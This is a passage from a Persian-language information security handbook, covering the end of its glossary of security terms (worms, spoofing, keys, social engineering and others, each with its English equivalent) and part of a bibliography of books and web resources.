 -د و حق استفاده از آن سيستم را نيز دارد           كنخودش ادعا مي  
  .نيست

  ٤٣٧شناسة كاربري
  .شناسانديك رشته حروف يكتا كه هر كاربر را به سيستم مي

  ٤٣٨شنود رمز عبور
سمع مخفيانه، معمولاً روي يك شـبكة محلـي، بـراي           استراق

  .فهميدن رمزهاي عبور

  ٤٣٩طرح اقتضايي
اي    مهـم رايانـه    اينكه منابع   يك طرح امنيتي براي اطمينان از       

براي سـازمان   ) مثل زلزله يا سيل   (درصورت وقوع حوادث ناگوار     
اين طرح شامل عمليـات واكـنش       . ماننددر دسترس باقي مي   

گيري، و عمليـات تـرميمِ پـس از         اضطراري، عمليات پشتيبان  
  .شودحادثه مي

                                                                  
434 Personal Identification Number 
435 Identification 
436 User Identification 
437 User ID 
438 Password Sniffing 
439 Contingency Plan 

  ٤٤٠ضميمه
ضميمه تكنيكي است كه بـا اسـتفاده از آن متـون و تـصاوير               

هـر فايـل   . الكترونيكي ارسـال شـوند   ز طريق پست  توانند ا   مي
تبـديل بـه يـك      ) برنامه، يا تصوير يا فـيلم ويـدئويي       (غيرنوشتاري  

شـود كدگـذاري و در مـتن پيـام قـرار              شكل قابل چـاپ مـي     
شده متشكل از صفرها و     هرآنچه كه در رايانه ذخيره    . گيرد مي
ا ه  ترين حالت، كدگذاري اين صفر و يك      در ساده .  ها است   يك

  . كند ساده تبديل ميرا به حروف متن

  سازيفشرده
روشي براي ذخيره يا انتقال حجم زيادي از متون، تـصاوير، و            

حتــي ممكــن اســت تمــام ســوابق بايگــاني نيــز . هــابرنامــه
هاي پـشتيبان،    در تهيه نسخه    ؛ و در حقيقت     سازي شود  فشرده

 هـاي فـشرده   از بايگـاني  . انجام اينكار يـك اسـتاندارد اسـت       
تواننـد  اشاره كـرد كـه مـي      " tar"و  " zip"توان به فايلهاي     مي

حجم زيادي از اطلاعات متفرقـه را در يـك قالـب چگـال و               
اين فايلها براي كاربرد بايد از قالـب فـشرده            . فشرده نگهدارند 

افـزار رايگـان بـراي        چند فروشنده و تعدادي نـرم     . خارج شوند 
  .سازي وجود دارندفشرده

  ٤٤١قابليت اطمينان
احتمال اينكه يك سيستم بتواند وظيفة خود را بطور كامل در           
يك بازة زماني خاص و تحت شرايط مورد انتظـار بـه انجـام              

  . رساند

  ٤٤٢پذيريمقياس
اي كه با كمتـرين     اي بگونه حل رايانه   قابليت گسترش يك راه   

  تأثير بر كارآيي، بتوان از آن براي گـروه بزرگتـري از كـابران             
  .استفاده كرد

  ٤٤٣شكنفلق
كسي كه سعي دارد بدون كسب مجوز، امنيت يك سيستم را           

 را  Hackerتعريـف   . (دار نمايد و به آن دسترسي پيدا كند       خدشه
  ).مورد ملاحظه قرار دهيد

                                                                  
440 Attachment 
441 Reliability 
442 Scalability 
443 Cracker 
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 ٤٦٢  راهنماي امنيت فناوري اطلاعات

  ٤٤٤كاربر
اي در تعامـل      هر شخصي كه مستقيماً با يك سيـستم رايانـه         

  . باشد

  ٤٤٥كارت هوشمند
يكروالكترونيكـي  اي مشابه يك كارت اعتباري با مدار م         وسيله

اين وسـيله يـك     .  براي ذخيرة اطلاعات در مورد يك شخص      
 مشابه آنچـه كـه در فرآينـد تـصديق هويـت             -كليد يا نشان    

  . نيست-رود  براي دسترسي از راه دور بكار مي

  ٤٤٦كدگشايي
شده به متون سادة اوليه بـا اسـتفاده از          تبديل متون كدگذاري  

  . يك روش كدگذاري و كدگشايي متقابل

  ٤٤٧كرم
تواند بطور مستقل اجرا شود، نـوع         اي كه مي    يك برنامة رايانه  

كاملي از خود را روي ميزبانهاي ديگر شبكه تكثير كند، منابع           
اي را بصورت مخرب مصرف نمايد؛ و نهايتـاً منجـر بـه               رايانه

  .ها گرددتخريب سرويس روي شبكه يا شبكه

  ٤٤٨ايكرم شبكه
اي بعنـوان     ك شبكة رايانـه   اي كه از ي   فايل دستوري يا برنامه   

اي براي تأثيرگذاري نامطلوب بر يكپارچگي و صـحت،           وسيله
قابليت اطمينان، و امكان دسترسي به يـك سيـستم اسـتفاده            

اي ممكن است بـا برقـراري يـك ارتبـاط             كرم شبكه . كندمي
كرمهـا  . بـه سيـستم ديگـر حملـه كنـد           اي از سيستمي      شبكه

هـا    د كه براي نفوذ به شبكه     هاي مستقلي هستن   معمولاً برنامه 
  .نيازي ندارند كه به يك فايل ميزبان متصل شده باشند

  ٤٤٩اي كلاهبرداري رايانه
اي كه طي آن مهـاجم بـراي بدسـت آوردن         يك تخلف رايانه  

پول، اطلاعات، يا سرماية ديگـري از يـك شـركت يـا يـك               
معمولاً همة انواع جـرائم     .  شود  شخص حقيقي مرتكب آن مي    

اي معمولاً شامل   كلاهبرداري رايانه . گنجنديف مي در اين تعر  
  .شودتغيير، تخريب، سرقت، و افشاي اطلاعات مي

                                                                  
444 User 
445 Smart Card 
446 Decode 
447 Worm 
448 Network Worm 
449 Computer Fraud 

  ٤٥٠كليد
اي از حروف است كه بمنظور تبديل يك          در رمزگذاري، سلسه  

شـما بـه دو شـكل       .  رود  فايل به و يا از قالب رمزي بكار مـي         
ارقام (د  به شكل حروف الفبا و اعدا     : توانيد كليد را وارد كنيد      مي

در بازار امنيت دسترسي بـه      .  ، و يا بصورت فشرده    )۱۶در مبناي   
يـا يـك ابـزار تـصديق هويـت          " نشان"غالباً به   " كليد"شبكه،  

اي كه براي فرستادن و دريافت متقابل         ؛ وسيله   شود  اطلاق مي 
پرســشها و پاســخها در طــول فرآينــد تــصديق هويــت بكــار 

افـزاي كوچـك     كليدها ممكن اسـت وسـايل سـخت       . رود مي
حسابهاي جيبي يا كارتهاي اعتباري باشند، و يـا         مشابه ماشين 

افـزار  ممكن است روي يك رايانة شخصي بعنـوان يـك نـرم           
  .شده قرار داشته باشند حفاظت

  ٤٥١كليد خصوصي
آن جزء از يك جفت كليد رمز عمومي و خصوصي كه توسـط     

كليد خصوصي  .  شود  مالك آن بصورت محرمانه نگهداري مي     
اي رمزگــشايي پيامهــايي كــه بــا كليــد عمــومي متنــاظر  بــر 

ايـن كليـد همچنـين در    . رودرمزگذاري شده باشند بكـار مـي    
براي اين منظور، سـندي     . ايجاد امضاي ديجيتالي كاربرد دارد    

سـازي  كه بايد امضا شود با يك الگوريتم درهمريزي خلاصـه     
شود، و سپس بـا اسـتفاده از كليـد خـصوصي رمزگـذاري              مي
اين فرآيند مجموعـاً امـضاي ديجيتـالي را تـشكيل           . ددگر  مي
  .دهد مي

  ٤٥٢كليد عمومي

آن جزء از يك جفت كليد رمز عمومي و خصوصي كه همه از             
از كليد عمومي بـراي رمزگـذاري اطلاعـاتي         . آن اطلاع دارند  

كه قرار است تنها به يك گيرندة خاص برسد، و يا رمزگشايي            
ز يكپـارچگي و صـحت      يك امضاي ديجيتالي براي اطمينان ا     

  .شودپيام استفاده مي

  كنترل
عمليات امنيتي يك شركت، كه آنـرا بـراي كـاهش مخـاطرة       

  . بندد افشاي اطلاعات خود بكار مي

                                                                  
450 Key 
451 Private Key 
452 Public Key 
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  ٤٥٣كنترل دسترسي
افـزار، و     افـزار، سـخت     اي از روالهـا كـه توسـط نـرم           مجموعه

راهبران براي نظارت بر دسترسي، شناسايي كاربران متقاضـي     
تلاشهاي ورود به سيستم، و اعطـا يـا سـلب           دسترسي، ضبط   

سياسـتهاي امنيتـي و كنترلهـاي       . شـود دسترسي انجـام مـي    
دسترسي بايد با يكديگر هماهنگ باشند تا از كاربرد غيرمجاز          

و يا ) مهاجمـان (هريك از منابع سيستمي توسط عوامل خارجي    
جلـوگيري  ) كارمنداني كه نبايد دسترسي داشته باشـد      (عوامل داخلي   

  .شود

  ٤٥٤سازيگمراه
بدست آوردن دسترسي به يك سيستم از طريق تغييـر چهـره            

  .بعنوان يك كاربر مجاز

  ٤٥٥دهندة نام دامنهسازي سرويسگمراه
 با تخريب آن قـسمت  -شود كه يك رايانه به حالتي گفته مي   

شود، و يـا    دهندة نام مي  از حافظة نهان كه مربوط به سرويس      
 خـود   - يك دامنة معتبر     دهندة نام براي  تسخير يك سرويس  

  .زنددهندة نام دامنه جا مي را بجاي سرويس

  ٤٥٦مجوز
كـه شـخص    ) خواندن، نوشـتن، اصـلاح و حـذف       (عمليات مجازي   

انجـام  ) اي از فايلهامثلاً مجموعه(تواند آنها را روي يك هدف         مي
  .دهد

  ٤٥٧محرمانگي
هاي حـساس تنهـا در اختيـار افـراد يـا              اينكه داده   اطمينان از   

ميـزان  . قـرار دارنـد   ) از داخل يا خارج سـازمان     (اي خاصي   گروهه
محرمانگي اطلاعات بسته به درجة حفاظتي است كه سازمان         

  .براي آن اطلاعات قرار داده است

  محيط
مجموعة موقعيتها، شرايط، و عوامل بيرونـي كـه بـر توسـعه،             

  .گذارندعملكرد، و نگهداري سيستم تأثير مي

                                                                  
453 Access Control 
454 Spoof 
455 Domain Name Server Spoofing  
456 Permissions 
457 Confidentiality 

  ٤٥٨مخاطره
پذيري خاص سيستم تصادفاً يا تعمداً      آسيباينكه يك     احتمال  

  .برداري قرار بگيرد مورد بهره

  ٤٥٩مقابله با خطر
عملياتي كه يك شركت براي كاهش تهديدات يـك سيـستم        

تواند تهيه و بكـارگيري يـك         مقابله با خطر مي   .  كند  اتخاذ مي 
افزاري، و يا يك روال انجـام كـار           افزاي، بستة نرم    ابزار سخت 

  .باشد

  ٤٦٠مميزي
شــدة مــستقل بــراي بررســي و آوري اطلاعــات ذخيــره جمــع

  .اطمينان از يكپارچگي و صحت آنها

  ٤٦١مميزي امنيتي
اي امنيت كه تطبيق كنترلهاي امنيتي        بازبيني مستقل و حرفه   

طبق نتيجة  . كند را بررسي مي    شركت با استانداردهاي موجود   
د اين بازبيني، حسابرس قادر خواهد بود تغييرات لازم در مـور          

  .كنترلها، سياستها، و روالهاي امنيتي را نيز پيشنهاد كند

  ٤٦٢مهاجم
  موجودي كه بـدون مجـوز بـه سيـستم يـا منـابع سيـستمي               

آوردن دسترسي تلاش   كند و يا براي بدست    دسترسي پيدا مي  
  .كندمي

  ٤٦٣مهندسي اجتماعي
اي كه بر اساس فريب كاربران يـا راهبـران ادارة هـدف               حمله

لات مهندسي اجتماعي معمـولاً از طريـق        حم. گيرد  انجام مي 
تلفن زدن به كاربران و تظاهر مهاجم بـه اينكـه يـك كـاربر               

  . گيرد  است انجام مي مجاز سيستم

                                                                  
458 Risk 
459 Countermeasure 
460 Audit 
461 Security Audit 
462 Intruder 
463 Social Engineering 
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 ٤٦٤  راهنماي امنيت فناوري اطلاعات

  ٤٦٤در مقابل خطاانعطاف 
يك شيوة طراحي كه هنگام بروز خطاهاي فـردي بـا ايجـاد             
عناصر تكراري در سيستم، عملكرد مداوم سيستم را تـضمين          

  .كندمي

  ٤٦٥ري و رمز عبورنام كارب
يك نام و يك رمز محرمانـه كـه كـاربر را بـه يـك سيـستم                  

  يـك روش سـنتي و      . كنـد اي يا پايگاه وب معرفي مـي      رايانه
  .جا افتاده براي تصديق هويت كاربران

  ٤٦٦بازافزارهاي متننرم
شـود كـه    هايي كه متن آنها تحت شرايطي توزيـع مـي           برنامه

از آنجا كه   . كانپذير است هرگونه اصلاح و توزيع رايگان آن ام      
تواننـد ببيننـد كـه آن         متن برنامه در دسترس است، افراد مـي       

. كند و خواهند توانست آنرا تغييـر دهنـد        برنامه چگونه كار مي   
نويـسان را    غالبـاً سـاير برنامـه     بـاز هاي متن نويسندگان برنامه 

.  كنند  ها تشويق مي    هاي بعدي برنامه  براي مشاركت در توسعه   
افزارهايي هستند كـه      باز همچنين شامل نرم   زارهاي متن افنرم

بـاز  هاي متن   شوند، و بسياري از برنامه    بطور رايگان عرضه مي   
 قابليتهـايي دارنـد كـه شـبيه         - چه فروشي و چـه رايگـان         -

هاي انحصاري است و ممكن است هزينـة انـدكي نيـز              برنامه
بــاز تحــت هــاي مــتن گــاهي اوقــات برنامــه. داشــته باشــند

هــاي  هــاي مخــصوصي در قــسمتهايي از برنامــهافقتنامــهمو
توانيـد بـه    براي اطلاعات بيشتر مـي    . روند انحصاري بكار مي  

 www.fsf.org و www.opensource.orgپاياگاههــاي 
  .رجوع كنيد

  ٤٦٧نسخة پشتيبان
اي در مكانهاي ديگر روي    برداري از فايلهاي رايانه     روند نسخه 

زي كـه ممكـن اسـت از رايانـه     سـا   رايانه و يا ابزارهاي ذخيره    
كننـد هنگـام    هاي پشتيبان شما را قادر مي     نسخه. مجزا باشند 

هـا  از حذف تصادفي داده   (هاي اصلي بدلايل مختلف   خرابي نسخه 
هـا  ، همچنان بتوانيد داده   )هاگرفته تا آسيب فيزيكي و يا دزدي رايانه       

  .را بازيابي نماييد

                                                                  
464 Fault Tolerant 
465 Username / Password 
466 Open-Source Software 
467 Backup  

  ٤٦٨نشان
.   تـصديق هويـت كـاربران     عامل اصلي اعتماد در طول فرآيند     

هاي جيبي و   نشانها ممكن است ابزارهاي كوچكي مثل تراشه      
  . باشند يا كارتهاي اعتباري

  ٤٦٩نشان ويروس
علائم مشخصة يك ويروس كه توسط فروشـندگان خـدمات          

فعـالترين  .  شـود   افزار، رديابي و با آنهـا مبـارزه مـي           امنيتي نرم 
خـصوصاً   (McAfee  ،Nortonافزار از جملـه       فروشندگان نرم 

و مايكروسـافت  ) ابزارهاي امنيتي آنها شامل ضدويروس و ديوارة آتش      
هايش تـلاش     كه در جهت تأمين امنيت در سيستمها و برنامه        

هـاي امنيتـي    كند، بصورت متناوب براي اين منظور وصله        مي
  .كنندمنتشر مي

  ٤٧٠نفوذ
شـدة  دسترسي موفق، قابل تكرار، و غيرمجاز به منابع حفاظت        

  .تمسيس

  ٤٧١)POC(نقطة تماس 
شخص يا اشخاصي كه كاربران يا راهبران سيستم بلافاصـله          

نقطـة  .  ها يا موارد مشكوك را به آنها بدهند       بايد گزارش رخنه  
 در سيـستمهاي اطلاعـاتي   ۹۱۱اتصال معادل خط اظطـراري    

  .است

  ٤٧٢نگهداري از ثبتها
  .زماني از ثبتها نگهداري و پشتيباني خواهد شداينكه چه مدت

  ٤٧٣واسط كاربري
هاي كاربردي كه كاربران مستقيماً بـا آن        آن قسمت از برنامه   

تواننـد بـصورت متنـي        واسطهاي كاربري مي  .  سر و كار دارند   
 وجود دارد، و يا گرافيكـي باشـند،         DOSباشند، مثل آنچه در     

  .Microsoft Windowsمثل واسطهاي كاربري موجود در 

                                                                  
468 Token 
469 Virus Signature 
470 Penetration 
471 Point of Contact 
472 Log Retention 
473 User Interface 
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   پيوستها

 

٤٦٥  

ش
بخ

 
شم

ش
  

  ٤٧٤ويروس
.  شود اي جاسازي مي ك برنامة رايانهاي كه داخل ي  برنامهقطعه

برنامـة آلـوده هـم فعـال        زمانيكه برنامه به اجرا در آيد، قطعـه       
همينكه يك ويروس فعال شد، خواهد توانست خـود         . شود  مي

ها را تخريـب كنـد، و كـارآيي           را تكثير كند، پيام بفرستد، داده     
  .سيستم را پايين بياورد

  ٤٧٥هرزنامه
ــارت اســت از نامــه ــشده، كترونيكــي درخواســتهــاي العب ن

هاي تجاري و   ؛ خصوصاً نامه    ناخواسته، نامربوط، و يا نامناسب    
  .تبليغاتي در تعداد زياد است

  ٤٧٦)TCO(هزينة كل مالكيت 
مدلي كه به متخصـصان فنـاوري اطلاعـات در درك و ادارة             

هاي مستقيم و غيرمستقيمي كه با كسب، نگهـداري، و            هزينه
آيـد    اي بـه بـار مـي       بردي يا رايانـه   استفاده از يك سيستم كار    

هـاي آمـوزش،     معمـولاً شـامل هزينـه      TCO.  كند  كمك مي 
  .شودارتقاها، و همچنين هزينة اصلي سفارش اوليه نيز مي

  ٤٧٧ها يكپارچگي و صحت داده
هاي يك سازمان در معـرض تغييـر يـا             اينكه داده   اطمينان از 

 ـ    (تخريب تصادفي يـا تعمـدي        قـرار  ) هدرنتيجـة اعمـال خرابكاران
  . نگرفته است

802.11  
مؤسسه اي از استانداردهاي درحال توسعة       مجموعه 802.11

هــاي  شـبكه  بـراي  ٤٧٨)IEEE (مهندسـان بـرق و الكترونيـك   
 سازماني است كـه     IEEE.   است ٤٧٩)WLANs (سيم محلي   بي

در بخشهاي مختلف حوزة برق و الكترونيك استاندارد تدوين         
 تبـديل بـه اسـتانداردهاي       كند و استانداردهاي آن معمولاً    مي

اين سازمان تعدادي مجله منتـشر      . شوند المللي مي   ملي و بين  
هاي محلي زيادي در قـسمتهاي مختلـف دنيـا          كند، شاخه مي

هاي تخصصي  دارد، و داراي جوامع بزرگ بسياري در محدوده       
براي اطلاعـات بيـشتر     . IEEEايِ    باشد، مثل جامعة رايانه     مي

                                                                  
474 Virus 
475 Spam 
476 Total Cost of Ownership 
477 Data Integrity 
478 Institution of Electrical and Electronics Engineers 
479 Wireless Local Area Networks 

توانيد به پايگاههـاي  اي آن مي  رايانه  و جامعة  IEEEدر مورد   
  :زير مراجعه كنيد

http://standard.ieee.org 
http://www.computer.org 

Cookie  
 درخواسـت يـك پايگـاه وب راه دور روي     يك فايـل كـه بـه     

ديسك سـخت رايانـة شـما نوشـته و يـا از روي آن خوانـده                 
د و  كند كه فايل نوشته شـو       پايگاه وب درخواست مي   .  شود  مي

مـثلاً اگـر بـه     . خوانـد در دفعات بعد مجدداً محتويات آنرا مـي       
تواند درخواست كند كه      پايگاه وب نام كاربري خود بدهيد، مي      

زمانيكه دوباره بـه  . آن اطلاعات روي ديسك شما نوشته شود      
 مربوطه را   cookieكنيد، آن پايگاه    آن پايگاه وب مراجعه مي    

شود كـه نـام     و متوجه مي   خواند  از روي ديسك رايانة شما مي     
اي  تهية سـابقه    ها براي Cookie.  كاربري شما چه بوده است    

شـوند و در بعـضي        از عادتهاي گردش در وب بكار گرفته مي       
  .موارد ممكن است حريم خصوصي كاربران را نقض كنند

IETF٤٨٠  
كنـد و    كـه اسـتانداردها را تـدوين مـي          يك انجمـن عمـومي    

  .نمايدا رفع مينگرانيهاي روزمرة اينترنت ر

Hack  
اي اسـت؛ امـا در متـون        در كل به معناي نوشتن برنامة رايانه      

پـذيريهاي سيـستم   برداري از آسـيب  امنيتي معمولاً براي بهره   
  .رودجهت دسترسي غيرمجاز به منابع سيستمي بكار مي

Hacker  
شخصي كه علاقمند به رايانه است و از كسب تجربـه بـا آن              

ژه همچنين به كسي كه با قصد بـد اقـدام      اين وا   . برد  لذت مي 
كنـد و بـدون        مي  آوري اطلاعات نقايص امنيتي رايانه      به جمع 

. گـردد شود نيز اطـلاق مـي     مجوز صاحب سيستم وارد آن مي     
براي معناي صرفاً منفي اين عبارت مناسـبتر        " شكنقفل"واژة  
  ).شكن مراجعه كنيدبه توضيحات واژة قفل. (است

HTML٤٨١  
گويد كه چگونه   وب يا برنامة پست الكترونيكي مي     به مرورگر   

متون و تصاوير را نمايش دهند و يا بـه آنهـا دسـتورالعملهاي              

                                                                  
480 Internet Engineering Task Force 
481 Hyper Text Mark-up Language 
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 ٤٦٦  راهنماي امنيت فناوري اطلاعات

در يك چنين زباني دستورات و دستورالعملهاي       .  ديگري بدهد 
اي از  نمونـه . شوندآيند و چاپ مي   درون متن به نمايش در مي     

  :يك دستور در اين زبانها مشابه زير است

This sentence is <<Start Bold>>very<<End 
Bold>> short. 

شـود، كلمـات ميـان          ايـن جملـه نمـايش داده مـي          زماني كه   
درنتيجـه  .  شـوند      بعنوان دستورالعمل درنظر گرفته مي     <<>>

  :جمله بصورت زير به نمايش در خواهد آمد

This Sentence is very short. 

Salami Slice  
در اين . ي بدست آوردن سرمايهاي برا  يك روش سرقت رايانه   

شـود، و   روش يك پايگاه دادة حسابهاي بـانكي تـسخير مـي          
گردد تا چيزي   سپس مبلغ ناچيزي از هر حساب اعتبار كم مي        
شده همگي به   مشكوك بنظر نيايد، و مجموع اعتبارات كاسته      

  .شونديك حساب خاص واريز مي

URL٤٨٢  
  :مثلاً. رنتاينت يك آدرس كلي براي تعيين محل چيزي روي 

http://www.infodev.org 
mailto:infodev@worldbank.org 

                                                                  
482 Universal Resource Locator 
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   پيوستها

 

٤٦٧  

ش
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شم

ش
  

  ۲پيوست 
  كتابنامه

اين پيوست شامل منابعي است كه براي نگارش مـتن اصـلي            
براي آشنايي با منابع بيشتر     . اند  كتاب مورد استفاده قرار گرفته    

  . مراجعه كنيد۵ و ۴ و ۳توانيد به پيوستهاي مي

Practical Unix & Internet Security, by Simson 
Garfinkel, Gene Spafford, and Alan 
Schwartz (O’Reilly & Associates, Inc.: CA, 2003) 

Web Security, Privacy & Commerce, by 
Simson Garfinkel with Gene Spafford (O’Reilly 
& Associates, Inc.: CA, 2002) 

IT Security: Risking the Corporation, by 
Linda McCarthy, Forward by Gene Spafford 
(Prentice Hall PTR: NJ, 2003) 

  بخش اول

  :پايگاه وب بنياد سياستگذاري جهاني
http://www.markle.org/globalpolicy/index.html 

 و  ٤٨٣)DOT(كميتة كاري فرصـتهاي ديجيتـالي       شامل برنامة   
  .٤٨٤مطالعات لودر وويسز

  :ي فرصتهاي ديجيتاليگزارشهاي كميتة كار
http://www.dotforce.org/teams 
كه شامل اطلاعاتي در زمينة اسـتراتژيهاي الكترونيكـي هـم           

  :شودمي
http://www.dotforce.org/reports/documents/6
5/E-Strategies_e.pdf 

توانيــد بــه شــبكة منــابع توســعة الكترونيكــي همچنــين مــي
  :المللي مراجعه نماييد بين

http://www.dotforce.org/teams/IeDRNBusine
ssPlan.ppt 

                                                                  
483 Digital Opportunity Task Force 
484 Louder Voices Study 

  :رهنمودهاي دولت براي توسعة جامعه اطلاعاتي
http://www.innovazione.gov.it/eng/documenti
/linee_guida_eng.shtml 

ــي   ــارت الكترونيك ــاه تج ــعة  پايگ ــاري و توس ــازمان همك س
  :٤٨٥)OECD (اقتصادي

http://www.oecd.org/EN/home/0,,EN-home-
29-nodirectorate-no-no-no-29,00.html 

 OECDصفحة وب مطالعات گسترش تجـارت الكترونيكـي         
)۲۰۰۲:(  

http://www.oecd.org/EN/home/0,,EN-
document-273-nodirectorate-no-15-36384-
29,00.html 

  :OECDصفحة وب دولت الكترونيكي 
http://www.oecd.org/EN/about/0,,EN-about-
301-nedirectorate-no-no-no-13,00.html 

  :OECDصفحة وب سياست فناوري اطلاعات و ارتباطات 
http://www.oecd.org/EN/about/0,,EN-home-
40-nedirectorate-no-no-no-29,00.html. 

  :پايگاه وب گروه پيشگامان جهاني سياستهاي اينترنت
 http://www.gipiproject.org/ 

  :اسيپايگاه وب مركز فناوري و دموكر
http://www.cdt.org 

و همچنين صفحاتي از راهنماي جامع دولت الكترونيكي كـه          
  :  بوجود آمده استinfodevبا همكاري 

http://www.cdt.org/egov/handbook 

  :نوشتهاي بخش اولاز متون پي
http://www.dotforce.org/about/ 

نويـس بيانيـة اصول، اجـلاس جهـاني سـران جامعـة             پيــش
، WSIS03/PCIP/DT/4(Rev.3)-Eاتي، ســـند اطلاعـــ

  .DOTمربوط به كميتة 

Moore, Paxson, Savage, Shannon, Staniford 
and Weaver, Inside the Slammer Worm, 
IEEE Security and Privacy, Vol. 1, No. 4, 
July/August 2003, pp. 33-39 
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  بخش دوم

IEEE          ق و   سازماني است كه در بخشهاي مختلف حـوزة بـر
كنـد و كـه اسـتانداردهاي آن        الكترونيك استاندارد تدوين مي   

. شـوند  المللـي مـي     معمولاً تبديل به استانداردهاي ملي و بين      
هـاي محلـي    كند، شاخه اين سازمان تعدادي مجله منتشر مي     

زيادي در قسمتهاي مختلف دنيا دارد، و داراي جوامـع بـزرگ       
ل جامعـة   باشـد، مث ـ    هـاي تخصـصي مـي     بسياري در محدوده  

 و جامعـة    IEEEبـراي اطلاعـات بيـشتر در مـورد          . اي  رايانه
  :توانيد به پايگاههاي زير مراجعه كنيداي آن مي رايانه

http://standard.ieee.org 
http://www.computer.org 

ــرد    ــات عملك ــاريف و الزام ــون تع ــاتي چ  را 802.11اطلاع
  : آدرس زير بيابيد توانيد در مي

http://grouper.ieee.org/groups/802/11/Docu
ments/DocumentArchieves/1992_docs/1192
091.DOC 

ــتاندارد  ــد    unicodeاس ــه تولي ــد ك ــود آم ــن بوج ــراي اي  ب
المللي و پردازش اطلاعات به زبانهـاي رايـج    افزارهاي بين   نرم

سـند زيـر تاريخچـة بوجـود آمـدن ايـن          . دنيا را تسهيل كنـد    
المللي   هاي بين   ن استاندارد استاندارد ميان فروشندگان و سازما    

)ISO (  ايـن مقالـه اهـداف و اصـول طراحـي           . كندرا ارائه مي
نمايـد، و همچنـين روي       را توصيف مـي    unicodeاستاندارد  

كند كه يك برنامة كاربردي چگونه بايـد        اين مسئله بحث مي   
ايـن مقالـه بـا معرفـي برخـي          . از اين استاندارد استفاده كنـد     

 و نيـز يـك توضـيح در         unicodeه از   راهكارها براي استفاد  
 در محـصولات شـركت      unicodeسـازي   مورد نحـوة پيـاده    

تصميم مايكروسافت مبني بـر     . رسد  مايكروسافت به پايان مي   
كاربرد يك مجموعه حروف واحد بعنوان كاراكترهـاي اصـلي          

، يكي از عوامل عمدة موفقيت Windows NTعامل  سيستم
unicode اين زمينه در آدرس زيـر  اطلاعات بيشتر در.  است 

  :قابل دسترسي است
http://research.compaq.com/wrl/DECarchive
s/DTJ/DTJB02/DTJB02SC.TXT 

توانيـد در     هاي فني امنيـت را مـي        مطالب بيشتر در مورد جنبه    
  :آدرسهاي و  پايگاههاي زير بيابيد

  :SANS مؤسسه ٤٨٦مركز مطالعات
http://www.sans.org/rr/catindex.php?cat_id=48 

  :پايگاه وب يكي از معتبرترين مراكز امنيتي دنيا
http://www.securityfocus.com 

افزارهاي زيادي براي نظارت بر كاربرد      يك پايگاه وب كه نرم    
هاي امنيتي سيستم را بـصورت رايگـان        و مديريت ساير جنبه   

  :كندارائه مي
http://www.sysinternals.com 

  :Unixه امنيت يك پايگاه وب مربوط ب
http://www.deter.com/unix/index.htmlm 

پايگاه وبي كه تعدادي از فهرستهاي پـستي مربـوط بـه چنـد         
  :كندابزار امنيتي مشهور را ارائه مي

http://msgs.securepoint.com 

 Unix كه براي پيكربندي سيـستمهاي       CERTاي از   صفحه
  :كندهايي ارائه ميمشيخط

http://www.cert.org/tech_tips/unix_configurat
ion_guidelines.html 

 كـه بـراي پيكربنـدي       CERTاي از پايگاه وب مركز      صفحه
  :دهدهايي ارائه ميمشي خطWindowsسيستمهاي 

http://www.cert.org/tech_tips/win_configurati
on_guidelines.html 

 براي شناسايي نـشانهاي     CERTحلهايي كه   اي از راه  صفحه
  :كندك تهاجم فراهم ميي

http://www.cert.org/security-
improvement/modules/m09.html 

  :افزار امنيتي رايگان براي نرمFreeFireصفحة وب پروژة 
http://sites.inka.de/lina/freefire-
l/index.en.html 

ها و راهنماهايي براي تحليـل  و يك صفحة وب شامل توصيه   
  :يستممحتويات فايلهاي ثبت س

http://www.counterpane.com/log-
analysis.html 
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The Human Development Report 2001: 
Making New Technologies Work for Human 
Development” (UNDP: NY, 2001). 

را ٤٨٩نـوين مـك  و   ٤٨٨كلـرمن ،  ٤٨٧گلاسـنر تعدادي از كتابهاي    
  : مورد ملاحظه قرار دهيد

Electronic Safety and Soundness: Securing 
Finance in a New Age, Public Policy Issues 
(October 2003). 

رسالة فوق، نهايت تلاشهاي سه سال گذشته است كه بر 
  .اساس چندين مقاله به رشتة تحرير در آمده

Electronic Security: Risk Mitigation in 
Financial Transactions (May 2002, June 2002, 
July 2002) 

Electronic Finance: A New Approach to 
Financial Sector Development? (2002) 

Mobile Risk Management: E-Finance in the 
Wireless Environment (May 2002) 

در اين پايگـاه، روي  . اين مقالات در آدرس زير موجود هستند 
  : كليك كنيدE-Securityواژة 

www.worldbank1.org/finance 

هـاي تحقيقـاتي و محـصولات         مطالب بيشتر در مورد پـروژه     
مؤسسة نظارت بر فناوري اطلاعـات      مديريت امنيت در پايگاه     

  www.itgi.org : موجود است٤٩٠(ITGI) اطلاعات

انجمـن سيـستم    هـا بـه       براي كسب اطلاعات در مورد برنامه     
 مراجعه  www.isaca.org در   ٤٩١اطلاعاتي مميزي و كنترل   

اي ويژگيهـاي كـشور اروگوئـه را عنـوان            ايـن مطالعـه   .  كنيد
  : كند كه ممكن است براي خوانندگان جالب باشد مي

http://www.isaca.org/ct_case.htm 

 http://www.isaca.org/cobit.htmبه آدرس   ( COBITاستاندارد  
يـك محـصول آزاد اسـت كـه بـراي           ) http://www.itgi.orgيا  
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 مميزهـا و راهبـران سيـستمهاي        مديران و كاربران سازمانها،   
اطلاعاتي، و نيز حقوقدانان، يك بستر مرجع در مـورد امنيـت            

  .كندالكترونيكي ارائه مي

ديد مناسبي در مورد پيـشرفتهاي       ISACAبرقراري ارتباط با    
سـال هـشتم   .  دهـد  اين اتحاديه به شما مي حاضر و آيندة  حال

  :ارتباطات جهاني) ۲۰۰۳سال (
http://ISACF:RESEARCH4@www.isaca.org/
@member/gcomm/gcv034.pdf 

با توجه به افزايش وقايع امنيتي در سطح جهان، چند شـركت            
مشاور گزارشي در مورد امنيت فنـاوري اطلاعـات در فـضاي            

ارنـست و   بعنـوان نمونـه مؤسـسه       . انـد   المللي تهيه كـرده     بين
 خـود بـا عنـوان امنيـت         ۲۰۰۳ بتازگي تحقيق سـال      ٤٩٢يانگ
  :ت جهاني را منتشر كرده استاطلاعا

http://www.ey.com/global/download.nsf/US/T
SRS_Global_Information_Security_survey_2
003/$file/TSRS_Global_Information_Securit
y_Survey_2003.pdf 

هــاي تحقيقــاتي مربــوط بــه  اطلاعــات امنيتــي از جملــه داده
در پايگـاه مؤسـسة     توان    رخدادها و واكنشهاي سازماني را مي     

SANSپيدا كرد :  
http://www.sans.org 

InfraGard اي است كه اطلاعات امنيتي را تحليـل         مؤسسه
ايـن مؤسـسه پرمنفعـت بـراي        . گذارداشتراك مي كند و به  مي

اعضا در حقيقت دانش گسترة وسيعي از همان اعضا را در هم            
 سـطح  تـرين   در ابتداييInfraGard. كندآميزد و ارائه مي  مي

